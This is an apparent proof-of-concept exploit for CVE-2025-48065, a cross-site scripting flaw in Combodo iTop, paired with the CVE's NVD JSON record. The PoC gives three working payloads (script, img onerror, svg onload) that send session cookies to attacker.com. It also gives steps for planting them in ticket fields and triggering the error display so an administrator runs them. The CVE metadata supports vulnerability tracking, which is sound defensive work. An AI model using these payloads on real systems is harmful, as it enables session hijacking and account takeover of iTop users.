CVE-2025-48065

<!-- CVE-2025-48065 XSS PoC for Combodo iTop --> <!-- This PoC demonstrates the XSS vulnerability in error message fields --> <!-- Step 1: Inject malicious script into a form field --> <!-- Example: In ticket title or description field --> <script> // Steal session cookies document.location='https://attacker.com/steal?c='+document.cookie; </script> <!-- Alternative payload using img tag --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Alternative payload using SVG --> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- Step 2: Trigger error condition to display malicious content --> <!-- Submit form with invalid data to trigger error message rendering --> <!-- Step 3: When admin/user views the error, script executes --> <!-- Attacker receives stolen session data --> <!-- Recommended testing steps: --> <!-- 1. Login to iTop as regular user --> <!-- 2. Create new ticket with XSS payload in title/description --> <!-- 3. Submit with invalid data to trigger validation error --> <!-- 4. Observe if alert box appears or external request is made -->

{"cve": {"id": "CVE-2025-48065", "sourceIdentifier": "[email protected]", "published": "2025-11-10T21:15:39.103", "lastModified": "2025-11-21T21:12:11.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Combodo iTop is a web based IT service management tool. Versions prior to 2.7.13 and 3.2.2 are vulnerable to cross-site scripting when a field with an error contains malicious content. Versions 2.7.13 and 3.2.2 protect rendered HTML content."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.13", "matchCriteriaId": "4738ED01-0CAC-4A19-BE9F-B7E89AAD8D23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.2.2", "matchCriteriaId": "EAF7CD83-4986-43B2-9A2B-3E282671B00F"}]}]}], "references": [{"url": "https://github.com/Combodo/iTop/security/advisories/GHSA-292c-hgcf-2g22", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}